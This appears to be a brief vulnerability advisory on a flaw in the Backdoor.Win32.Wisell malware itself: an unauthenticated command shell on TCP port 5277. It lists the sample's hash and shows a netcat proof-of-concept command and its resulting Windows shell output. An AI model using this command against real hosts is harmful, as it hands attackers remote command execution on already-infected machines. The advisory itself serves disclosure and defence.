Discovery / credits: Malvuln - (c) 2022  
Original source:  
Threat: Backdoor.Win32.Wisell  
Vulnerability: Unauthenticated Remote Command Execution  
Description: The malware listens on TCP port 5277. Third-party adversaries who can reach an infected host can run any OS commands.  
Family: Wisell  
Type: PE32  
MD5: 837ec70bfb305b5c862ff9b04e70a318  
Vuln ID: MVID-2022-0536  
Disclosure: 04/06/2022  
C:\>nc64.exe x.x.x.x 5277  
WinShell v1.0 - '!' to quit, 'enter' to shell...  
Microsoft Windows [Version 10.0.16299.309]  
(c) 2017 Microsoft Corporation. All rights reserved.  
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